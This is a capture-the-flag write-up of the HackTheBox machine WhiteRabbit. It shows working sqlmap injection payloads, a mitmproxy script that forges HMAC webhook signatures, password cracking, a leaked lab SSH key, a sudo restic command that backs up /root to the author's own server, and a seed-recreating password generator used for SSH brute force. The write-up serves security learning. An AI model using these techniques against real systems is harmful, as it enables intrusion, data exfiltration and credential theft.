HTB: WhiteRabbit - Insane

First note

This machine is my first Insane machine that I have done on HackTheBox.
I went into the box just to give it a try, and see what the outcome is. After getting stuck a couple of times, I could not get over it to let it slip being a unfinished machine, so I started trying harder. And in the end I was able to obtain user and root - which really felt like an accomplishment.

Enumeration

At the start we of course start off with a Nmap scan, revealing the following ports being open:

sudo nmap -sV -sC 10.129.76.78 --min-rate=10000 -oN whiterabbit.nmap
[..]
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-09 19:16 CEST
Nmap scan report for 10.129.76.78
Host is up (0.011s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0f:b0:5e:9f:85:81:c6:ce:fa:f4:97:c2:99:c5:db:b3 (ECDSA)
|_  256 a9:19:c3:55:fe:6a:9a:1b:83:8f:9d:21:0a:08:95:47 (ED25519)
80/tcp   open  http    Caddy httpd
|_http-title: Did not follow redirect to http://whiterabbit.htb
|_http-server-header: Caddy
2222/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c8:28:4c:7a:6f:25:7b:58:76:65:d8:2e:d1:eb:4a:26 (ECDSA)
|_  256 ad:42:c0:28:77:dd:06:bd:19:62:d8:17:30:11:3c:87 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

There are two SSH ports and a single HTTP port available.
The result shows that there is a hostname which – this we add to our /etc/hosts file.

Viewing the main page, it reveals that there is not a lot of information available.
The information that might be of interest, is that it indicated that it makes use of a page to monitor up/down time of its domains:

With the interesting information:

So with this, there is a chance that there might be subdomains available.
For this I ran the following command, revealing the subdomain status:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://whiterabbit.htb -H 'Host: FUZZ.whiterabbit.htb' -t 20 -fs 0
[..]
status        [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 12ms]

I added the subdomain to my /etc/hosts again. Now navigating to the site, reveals uptime kuma:

At this point I got really stuck, enumerating a lot and trying to find endpoints that are accessible.
So nothing hit, and I started Googling for publicly available endpoints for uptime kuma:

This contains that there is a status page, which reveals possible available sites:

When navigating to status.whiterabbit.htb, it does reveal its a existing directory:

So I ran ffuf trying to find another endpoint - revealing /temp:

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt:FUZZ -u http://status.whiterabbit.htb/status/FUZZ
[..]
temp  [Status: 200, Size: 3359, Words: 304, Lines: 41, Duration: 992ms]

Navigating to this, reveals the following status page:

This is useful information. A couple of subdomains are gathered - these I added to my /etc/hosts file:

127.0.0.1 localhost
127.0.1.1 ubuntu

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

10.129.225.215  whiterabbit.htb status.whiterabbit.htb  ddb09a8558c9.whiterabbit.htb    a668910b5514e.whiterabbit.htb

For the web subdomain ddb09a8558c9.whiterabbit.htb, I am met with a wiki.js page:

Looking around at the unauthenticated wiki.js page, there are limited amounts of resources available. But there is a post which contains some information:

This post contains a webhook request to trigger n8n with gophish information:

POST /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d HTTP/1.1
Host: 28efa8f7df.whiterabbit.htb
x-gophish-signature: sha256=cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 81

{
  "campaign_id": 1,
  "email": "test@ex.com",
  "message": "Clicked Link"
}

But when clicking this link mentioned at the callout:

This downloads a .json file, which contains credentials:

     },
      "id": "220e3d9d-07f1-425e-a139-a51308737a89",
      "name": "Update Phishing Score for Submitted Data",
      "type": "n8n-nodes-base.mySql",
      "typeVersion": 2.4,
      "position": [
        2360,
        560
      ],
      "credentials": {
        "mySql": {
          "id": "qEqs6Hx9HRmSTg5v",
          "name": "mariadb - phishing"
        }
      }

Lets keep these noted, and look further for more information.

Looking at the webhook from earlier, we find a subdomain 28efa8f7df.whiterabbit.htb in the request - this I added to my /etc/hosts file.
When navigating to the host, we are met with the n8n page:

So I enumerated further, and looked back at the downloaded .json file from earlier, and found the following information:

[..] 
     "parameters": {
        "action": "hmac",
        "type": "SHA256",
        "value": "={{ JSON.stringify($json.body) }}",
        "dataPropertyName": "calculated_signature",
        "secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
[..]

Which contains a secret for a calculated_signature . The signature is what we have seen earlier at the webhook request (x-gophish-signature):

Host: 28efa8f7df.whiterabbit.htb
x-gophish-signature: sha256=cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd
Accept: */*
Accept-Encoding: gzip, deflate, br

So when we send a request to that webhook containing modified information that matches with the x-gophish-signature – we are met with the following response:

And when the data is modified - and does not match with the signature, we are met with the following response:

Crafting a valid signature for the data

So I created Python code to use the secret key to create a valid signature for the gophish header and its submitted data:

import hashlib
import hmac
import json

# Leaked secret key
SECRET_KEY = "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"

# Tampered request body
tampered_body = {
    "campaign_id": 1,
    "email": "attacker@malicious.com",
    "message": "Submitted Data"
}

body_string = json.dumps(tampered_body, separators=(',', ':'))

# Recalculate the HMAC-SHA256 signature
tampered_signature = hmac.new(
    key=SECRET_KEY.encode('utf-8'),
    msg=body_string.encode('utf-8'),
    digestmod=hashlib.sha256
).hexdigest()

print("Tampered Data:", tampered_body)
print("Tampered Signature:", tampered_signature)
  • Added the body that we want to send to the host at tampered_body.
  • Create the signature for our data at tampered_signature.

And when running the script with our malicious email and message, the output we get is:

Tampered Data: {'campaign_id': 1, 'email': 'attacker@malicious.com', 'message': 'Submitted Data'}
Tampered Signature: 9dea5dc307f61e7b6c30de03cd303eb6c418b62d1c108fb223df22ee4433da9c

Which we then modify our Burp suite request, and reveals that we get User is not in database indicating that it is a valid signature to its data:

Getting myself into a rabbithole

At this point of time I got into the rabbit hole of user enumeration.
I wrote a script that enumerated users, with a specific domain etc - which did not work.

And for the sake of trying I also wrote a script to take input for the message, and then add my own SQL injection statements into this, but this did also not work.

Exploitation

Research

So I started looking around again, and remembered that I did see something about SQL injection attempts. This was mentioned in the wiki.js page:

And started Googling for possible SQL injections in n8n – where I stumbled up-on https://community.n8n.io/t/sql-injections/15694/3. This indicated that there is a POSSIBILITY of obtaining SQL injection in the email parameter.

Developing the exploit

So I tried a couple of options, figuring out how this could be done. I tried a couple of options:

  • Using SQLmap with the --eval functionality to add my own Python code - but this did not really work on getting the generated signature into the header.
  • Make use of bash to make a specific part of the command to be specified with the code I written to output the signature for the message (sounds quite cryptic) – and this did also not succeed.

And then the option came of using mitmproxy to intercept each request, add the header and generate the correct signature for the body containing the SQL injection payload.

With the help of AI and my previous written script, the following result is what (we?) created:

from mitmproxy import http
import hashlib
import hmac
import json

# Secret key for HMAC signature generation
SECRET_KEY = "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"

def request(flow: http.HTTPFlow) -> None:
    # Check if the request is targeting the webhook endpoint
    if "webhook" in flow.request.pretty_url:
        # Parse the request body
        try:
            request_body = json.loads(flow.request.text)
        except json.JSONDecodeError:
            print("Invalid JSON in request body")
            return

        body_string = json.dumps(request_body, separators=(',', ':'))
        signature = hmac.new(
            key=SECRET_KEY.encode('utf-8'),
            msg=body_string.encode('utf-8'),
            digestmod=hashlib.sha256
        ).hexdigest()

        # Add the signature to the headers
        flow.request.headers["x-gophish-signature"] = f"sha256={signature}"
  • It does a check if the request URL contains ‘webhook’.
  • Converts the JSON body into a compact string format.
  • Creates an HMAC signature using the SECRET_KEY and the request body string.
  • Adds the generated signature for the request header x-gophish-signature.

And then I ran the mitmproxy command with the created script:

mitmproxy -s mitmproxysqlmap.py

So now we can start running SQLmap, containing the data that we want to check for SQL injection (specifically the email field) and proxy it to our mitmproxy running at 127.0.0.1:8080:

sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" \
       --data '{"campaign_id": 1, "email": "*", "message": "Clicked Link"}' \
       --proxy "http://127.0.0.1:8080" \
       --level=5 --risk=3

After running the command, requests come into the mitmproxy:

After I let it run for quite some time, it started to detect a SQL injection vulnerability:

[INFO] testing 'MySQL UNION query (75) - 81 to 100 columns'
(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 1346 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: {"campaign_id": 1, "email": "" AND 6735=(SELECT (CASE WHEN (6735=6735) THEN 6735 ELSE (SELECT 6020 UNION SELECT 4927) END))-- -", "message": "Clicked Link"}

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {"campaign_id": 1, "email": "" AND (SELECT 3874 FROM(SELECT COUNT(*),CONCAT(0x716a787a71,(SELECT (ELT(3874=3874,1))),0x7171707071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- pSHO", "message": "Clicked Link"}

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: {"campaign_id": 1, "email": "";SELECT SLEEP(5)#", "message": "Clicked Link"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"campaign_id": 1, "email": "" AND (SELECT 3327 FROM (SELECT(SLEEP(5)))MmSl)-- zaZx", "message": "Clicked Link"}
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

Proving it is vulnerable to a Boolean-based blind, error-based, stacked queries and time-based blind SQL injection.

Revealing its data

So with the injection, I started running the usual SQLmap commands to obtain the database, tables and information from the tables.

Showing the databases

I ran the following command to reveal the available databases:

sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" \
       --data '{"campaign_id": 1, "email": "*", "message": "Clicked Link"}' \
       --proxy "http://127.0.0.1:8080" \
       --level=5 --risk=3 --dbms=mysql --dbs

Which revealed the following:

available databases [3]:
[*] information_schema
[*] phishing
[*] temp

Where temp is the eye catcher.

Showing the tables

After that I ran the following SQLmap command to reveal its tables:

sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" \
       --data '{"campaign_id": 1, "email": "*", "message": "Clicked Link"}' \
       --proxy "http://127.0.0.1:8080" \
       --level=5 --risk=3 --dbms=mysql -D temp --tables

Revealing the table command_log:

Database: temp
[1 table]
+-------------+
| command_log |
+-------------+

Showing the contents

And now we can dump the table with the following SQLmap command:

sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" \
       --data '{"campaign_id": 1, "email": "*", "message": "Clicked Link"}' \
       --proxy "http://127.0.0.1:8080" \
       --level=5 --risk=3 --dbms=mysql -D temp -T command_log --dump

Revealing the following data:

IDDateCommand
12024-08-30 10:44:01uname -a
22024-08-30 11:58:05restic init –repo rest:http://75951e6ff.whiterabbit.htb
32024-08-30 11:58:36echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd
42024-08-30 11:59:02rm -rf .bash_history
52024-08-30 11:59:47#thatwasclose
62024-08-30 14:40:42cd /home/neo/ && /opt/neo-password-generator/neo-password-generator

Foothold

The obtained information from the SQL injection dump, shows that there is another subdomain that we have not seen previously. So again, I added this to my /etc/hosts file.

The user executed restic on it containing a --repo flag. Now the obvious thing is that this probably holds files, which we can clone or something like that.

The data that is revealed contains a password for restic.
After some research, the command to view the snapshots is:

restic snapshots --repo rest:http://75951e6ff.whiterabbit.htb

But it requires a password, so we add this password as a environment variable using export RESTIC_PASSWORD="ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw" and run the command again:

ID        Time                 Host         Tags        Paths
------------------------------------------------------------------------
272cacd5  2025-03-07 01:18:40  whiterabbit              /dev/shm/bob/ssh
------------------------------------------------------------------------

This reveals a path of a ssh folder that is uploaded.
We copy the ID and use that to ls the content of the file:

restic ls 272cacd5 --repo rest:http://75951e6ff.whiterabbit.htb

This reveals the contents:

/dev
/dev/shm
/dev/shm/bob
/dev/shm/bob/ssh
/dev/shm/bob/ssh/bob.7z

To get the file, we need to run the following command (where the . is the target where we locally save it):

restic restore 272cacd5 --repo rest:http://75951e6ff.whiterabbit.htb --target .

When this is ran, the bob.7z file is cloned to our current working directory.

Cracking the file

It can sound quite obvious and easy to just crack a 7z file. But for some reason it took me quite some time to get the right one.

When running 7z x bob.7z, we are met that the file is password protected:

 7z x bob.7z

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=en_US.UTF-8 Threads:128 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 572 bytes (1 KiB)

Extracting archive: bob.7z
--
Path = bob.7z
Type = 7z
Physical Size = 572
Headers Size = 204
Method = LZMA2:12 7zAES
Solid = +
Blocks = 1


Enter password (will not be echoed):
ERROR: Data Error in encrypted file. Wrong password? : bob
ERROR: Data Error in encrypted file. Wrong password? : bob.pub
ERROR: Data Error in encrypted file. Wrong password? : config

So we can make use of the JohnTheRipper repo called 7z2john. This I ran with /opt/tools/john/run/7z2john.pl bob.7z, resulting in the following hash:

ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
bob.7z:$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00

After I had obtained the hash, I tried to crack the password with the following hashcat command:

hashcat hash3.txt -m 11600 ../rockyou.txt -O --potfile-disable --keep-guessing -a 0

But onetime it showed the password 231992, and the other time it showed 080487 which both did not work.
So I added the --keep-guessing and --potfile-disable to prevent the hash from being found from its own potfile, and crack what is possible.

So after getting the same passwords, with none working - I ran the hashcat command again, and this time it revealed the password 1q2w3e4r5t6y.

This time when I tried to extract it using 7z x bob.7z -p1q2w3e4r5t6y it worked:

bob  bob.pub  config

Getting SSH access

Reading the config file reveals to which host and which user to SSH to:

Host whiterabbit
  HostName whiterabbit.htb
  Port 2222
  User bob

And the file bob contains a SSH key:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4wAAAJAQ+wJXEPsC
VwAAAAtzc2gtZWQyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4w
AAAEBqLjKHrTqpjh/AqiRB07yEqcbH/uZA5qh8c0P72+kSNW8NNTJHAXhD4DaKbE4OdjyE
FMQae80HRLa9ouGYdkLjAAAACXJvb3RAbHVjeQECAwQ=
-----END OPENSSH PRIVATE KEY-----

And for the bob.pub I didn’t even bother looking into it.

Running ssh bob@whiterabbit.htb -p 2222 -i bob provided me with access to the machine:

bob@ebdce80611e9:~$ whoami
bob
bob@ebdce80611e9:~$ hostname
ebdce80611e9
bob@ebdce80611e9:~$ ls -lash
total 36K
8.0K drwxr-x--- 1 bob  bob  4.0K Mar 24 15:39 .
8.0K drwxr-xr-x 1 root root 4.0K Mar 24 11:24 ..
   0 lrwxrwxrwx 1 root root    9 Mar 24 11:24 .bash_history -> /dev/null
4.0K -rw-r--r-- 1 bob  bob   220 Mar 31  2024 .bash_logout
4.0K -rw-r--r-- 1 bob  bob  3.7K Mar 31  2024 .bashrc
4.0K drwx------ 2 bob  bob  4.0K Mar  6 17:55 .cache
4.0K -rw-r--r-- 1 bob  bob   807 Mar 31  2024 .profile
4.0K drwxr-xr-x 1 bob  bob  4.0K Mar 24 15:40 .ssh

But no user.txt file found just yet.

Privilege Escalation

The user we obtained called bob does not contain a user flag. So we have to look further to obtain this.

From Bob to Morpheus

We are currently working inside of a docker container – so we need to move out of it.

As soon as access is obtained, I ran sudo -l to view which parts I have sudo privileges on:

bob@ebdce80611e9:~$ sudo -l
Matching Defaults entries for bob on ebdce80611e9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User bob may run the following commands on ebdce80611e9:
    (ALL) NOPASSWD: /usr/bin/restic

It looks like we can run the restic program with sudo privileges.
When looking at https://gtfobins.github.io/gtfobins/restic/ it is pretty obvious what we can do.

So I cloned the repository from https://github.com/restic/rest-server/ and built the binary.

To start the server, I ran the following command:

sudo ./rest-server --listen ":8000" --no-auth

This starts it on port 8000 without authentication on it.
Next, we need to create a repository? on the rest-server, this is done with the following command:

restic init -r "rest:http://localhost:8000/test"

After this command is ran, we need to configure a password. For this I used the password test.

Now we can backup a folder using our sudo privileges.
This is done with the following command:

sudo /usr/bin/restic backup -r "rest:http://10.10.14.109:8000/test" "/root"

Then again, we can run the process of downloading it to our current working directory with the following command:

restic restore <uploaded hash> --repo rest:http://127.0.0.1:8000 --target .

And as soon as this is downloaded, we are met with the following SSH files for the user morpheus :

morpheus  morpheus.pub

And we can SSH into the machine using ssh morpheus@whiterabbit.htb -i morpheus (the other SSH port now) and we are met with the user flag:

morpheus@whiterabbit:~$ ls
user.txt
morpheus@whiterabbit:~$ cat user.txt
f8b1[..]7ff4

From Morpheus to Root

This privilege escalation was really hard. I tried so much things and failed each time to get the correct password. This is until this day the hardest privilege escalation that I have experienced.

So a disclaimer: I did not report all my mistakes, I only reported when I finally got it correct – it was getting close to midnight.

Looking back at our previous finds

So when we are logged in as Morpheus, we are met with the binary that we have seen earlier while enumerating this machine.

This binary when it is ran, it creates a password:

morpheus@whiterabbit:~$ cd /opt/neo-password-generator/
morpheus@whiterabbit:/opt/neo-password-generator$ pwd
/opt/neo-password-generator
morpheus@whiterabbit:/opt/neo-password-generator$ ls
neo-password-generator
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator
GA54WMRB12rnXjkAhcMB

When we look back at our previous find – from the SQL injection output, the following line is of interest here:

 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |

This contains a date, time and seconds. This could indicate that we could decompile the code, and read what the process is of creating the password.
If we know the process, and it is predictable – we could possibly reveal the password of the user neo.

Reverse Engineering the code

To get a basic understanding of what the code is doing – I uploaded the neo-password-generator binary to the website https://dogbolt.org.
For this I used the different decompilers to determine which one would read out the code of the ELF binary the best. (I think I used the RetDec the most, since this shows more detail.)

There are two parts which are the most interesting:

The creator of the seed

gettimeofday(&local_28,(__timezone_ptr_t)0x0);   generate_password(local_28.tv_sec * 1000 + local_28.tv_usec / 1000);   if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {

This part does the following things (AI chat generated):

  • gettimeofday: Retrieves the current time (seconds and microseconds) and stores it in local_28.
  • generate_password: Calls a function to generate a password using the current time in milliseconds (calculated as local_28.tv_sec * 1000 + local_28.tv_usec / 1000).
  • Stack integrity check: Compares local_10 with a value stored at a specific offset (in_FS_OFFSET + 0x28) to detect potential stack corruption (common in security-related code).

And to make it more understandable, I wrote it in Python for the sake of readability:

current_time = time.time()

milliseconds = int(current_time * 1000)
seed = (milliseconds // 1000 * 1000) + (milliseconds % 1000)
generate_password(seed)

The creator of the password

int64_t generate_password(int64_t seed) {
    int64_t v1 = __readfsqword(40); // 0x1185
    srand((int32_t)seed);
    for (int64_t i = 0; i < 20; i++) {
        int32_t v2 = rand(); // 0x11af
        char v3 = *(char *)((0x100000000 * (int64_t)(v2 >> 31) | (int64_t)v2) % 62 + (int64_t)"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"); // 0x11c7
        int64_t v4; // bp-8, 0x1179
        *(char *)((int64_t)&v4 - 32 + i) = v3;
    }
    // 0x11de
    int64_t str; // bp-40, 0x1179
    puts((char *)&str);
    int64_t result = 0; // 0x11fc
    if (v1 != __readfsqword(40)) {
        // 0x11fe
        __stack_chk_fail();
        result = &g4;
    }
    // 0x1203
    return result;

This code block does the following things (AI chat generated):

  • generate_password function:
    • Seed initialization: Uses the input seed to initialize the random number generator (srand).
    • Password generation: Creates a 20-character password by:
      • Generating random numbers (rand()).
      • Mapping each random number to a character from the set abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.
      • Storing the characters sequentially to form the password.
    • Prints the password: Outputs the generated password using puts.
  • Stack integrity check:
    • Compares a value (v1) read from the stack at the beginning of the function with the same value at the end.
    • If the values differ, it calls __stack_chk_fail() to handle potential stack corruption (security measure).

This makes it clear what the program does, and how we could recreate it.

Developing the exploit

With the information that we have gathered out of the decompiled binary, we could now create some sample code in Python to make it more easy readable:

import random
import time

def generate_password(seed):
    # Define the character set
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

    # Seed the random number generator
    random.seed(seed)

    # Generate a password of 20 characters
    password = ""
    for _ in range(20):
        # Generate a random index within the range of the charset
        rand_value = random.randint(0, len(charset) - 1)
        password += charset[rand_value]

    # Print the generated password
    print(password)

    # Return the password (or 0, as in the original code)
    return 0

def main():
    current_time = time.time()

    milliseconds = int(current_time * 1000)
    seed = (milliseconds // 1000 * 1000) + (milliseconds % 1000)
    generate_password(seed)

if __name__ == "__main__":
    main()

This is how it would look. But creating a Python script did not feel enough for me. So I asked a AI chatbot to convert this code into C:

#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void generate_password(long seed) {
    // Define the character set
    const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    const int charset_size = strlen(charset);

    // Seed the random number generator
    srand(seed);

    // Generate a password of 20 characters
    char password[21]; // 20 characters + null terminator
    for (int i = 0; i < 20; i++) {
        // Generate a random index within the range of the charset
        int rand_value = rand() % charset_size;
        password[i] = charset[rand_value];
    }
    password[20] = '\0'; // Null-terminate the string

    // Print the generated password
    printf("%s\n", password);
}

int main() {
    struct timeval tv;

    // Get the current time in seconds and microseconds
    gettimeofday(&tv, NULL);

    // Convert seconds to milliseconds and microseconds to milliseconds
    long milliseconds = tv.tv_sec * 1000 + tv.tv_usec / 1000;

    // Calculate the seed
    long seed = (milliseconds / 1000 * 1000) + (milliseconds % 1000);

    // Generate the password using the seed
    generate_password(seed);

    return 0;
}

And here again, it used the rand option and the logic seems to be correct.

Running the package

So to run the written C code, I ran gcc code.c -o test – and the code got compiled.
So after I ran it, it generated a password:

rDzPIVFOnNSnr3flWxd4

But we want to make sure that it can create the same passwords as the reverse engineered binary.
So we could run both binaries at the same time, and outputting it to a file. Then we could compare the files to each other, and check if the logic of the program is correct – since it would create the same passwords.

To do this I used the following command:

while true; do ./neo-password-generator | tee -a wordlist1.txt; done & while true; do ./test| tee -a wordlist2.txt; done

Do note that when running this, it will hang your terminal until the process is killed. And since I make use of tmux, I just ran: Ctrl + x, :kill-pane to stop the process.

When the while loop is ran and killed, I checked if the two wordlists contain the same passwords with grep -Fxf wordlist1.txt wordlist2.txt :

[..]
rDzPIVFOnNSnr3flWxd4
xS45bbdZN16Ty8cKcfYW
HUYDCe6zIyytD9qmHO2b
qCekimCG7UkgaJjdSRtQ
bceWycBxtj6vOv7nBt2X
YL13w1wWg2YwGN3WSgzz
3DfN8WnQIoorfHVf6zKB
72B3wcijUwa8aZN1tb74
eC9lpRp9MGxFqKVNcva4
A12i4GJIwk9pjwQoSmrq
5EUGOBk093oT3OGVlppk
arugjuCB4NjeKSZxbAsu
sg3HNSakgxJEs9uqtf5Z
wl6a7Jbq7IJA4EipSdXI
cTaAtzw5Ou7Cgw4FuQN9
[..]

The ones that show match with each other – great, our program is almost an exact match.

Converting to static timestamp

To make sure that the correct timestamp is used, I went to https://www.unixtimestamp.com and entered the date (plus the two hours since I am in another timezone):

This resulted in the Unix timestamp 1725028842.

With this information, I asked a AI chatbot to modify the code and use a specified date, and look at all the possibilities of passwords for that specific second.
Which it succeeded, and provided me with code.

But to make sure that it used my correct Unix timestamp, I put it hardcoded into the source code:

#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Function to generate a password based on a seed
void generate_password(long seed) {
    // Define the character set
    const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    const int charset_size = strlen(charset);

    // Seed the random number generator
    srand(seed);

    // Generate a password of 20 characters
    char password[21]; // 20 characters + null terminator
    for (int i = 0; i < 20; i++) {
        // Generate a random index within the range of the charset
        int rand_value = rand() % charset_size;
        password[i] = charset[rand_value];
    }
    password[20] = '\0'; // Null-terminate the string

    // Print the generated password
    printf("%s\n", password);
}

int main() {
    // Define the specific date and time: 2024-08-30 14:40:42
    struct tm time_info = {0};
    time_info.tm_year = 2024 - 1900; // Year since 1900
    time_info.tm_mon = 8 - 1;        // Month (0-based)
    time_info.tm_mday = 30;          // Day of the month
    time_info.tm_hour = 14;          // Hour
    time_info.tm_min = 40;           // Minute
    time_info.tm_sec = 42;           // Second

    // Convert the time to seconds since the epoch
    time_t epoch_time = 1725028842;

    printf("Epoch time: %ld\n", (long)epoch_time);

    // Convert seconds to milliseconds
    long base_milliseconds = epoch_time * 1000;


    // Generate passwords for all possible millisecond values within the second
    for (int ms = 0; ms < 1000; ms++) {
        long seed = base_milliseconds + ms; // Add the millisecond offset
        generate_password(seed);            // Generate and print the password
    }

    return 0;
}

So at time_t epoch_time = 1725028842; I entered the static UNIX timestamp.

After this, we can compile the code again with gcc code.c -o test and run it by outputting it into a wordlist:

./test > wordlist2.txt

Brute-Forcing neo

Since SSH is open, we can use the tool medusa to brute the user neo.
To do this, I ran the following command:

medusa -h 10.129.226.143 -u neo  -P wordlist2.txt  -M ssh -f -t 10

ACCOUNT CHECK: [ssh] Host: 10.129.226.143 (1 of 1, 0 complete) User: neo (1 of 1, 0 complete) Password: hN6DEuEFtQ5LZX8uxw9r (1 of 1000 complete)
ACCOUNT CHECK: [ssh] Host: 10.129.226.143 (1 of 1, 0 complete) User: neo (1 of 1, 0 complete) Password: c4L87irvHxX7pZGX9if6 (2 of 1000 complete)
[..]
ACCOUNT CHECK: [ssh] Host: 10.129.226.143 (1 of 1, 0 complete) User: neo (1 of 1, 0 complete) Password: egqbA3pCNcpokWTotVvO (21 of 1000 complete)
ACCOUNT CHECK: [ssh] Host: 10.129.226.143 (1 of 1, 0 complete) User: neo (1 of 1, 0 complete) Password: WBSxhWgfnMiclrV4dqfj (22 of 1000 complete)
ACCOUNT FOUND: [ssh] Host: 10.129.226.143 User: neo Password: WBSxhWgfnMiclrV4dqfj [SUCCESS]

Which after a long bruteforcing session, revealed the password for the user neo.
ACCOUNT FOUND: [ssh] Host: 10.129.226.143 User: neo Password: WBSxhWgfnMiclrV4dqfj [SUCCESS]

Obtaining root

By running SSH into the machine whiterabbit.htb with the command ssh neo@whiterabbit.htb – We can run id revealing our sudo privileges:

neo@whiterabbit:~$ id
uid=1000(neo) gid=1000(neo) groups=1000(neo),27(sudo)
neo@whiterabbit:~$ sudo su
[sudo] password for neo:
root@whiterabbit:/home/neo# cat /root/root.txt
a234ca0c6fa95d384b43e34ea9ddea06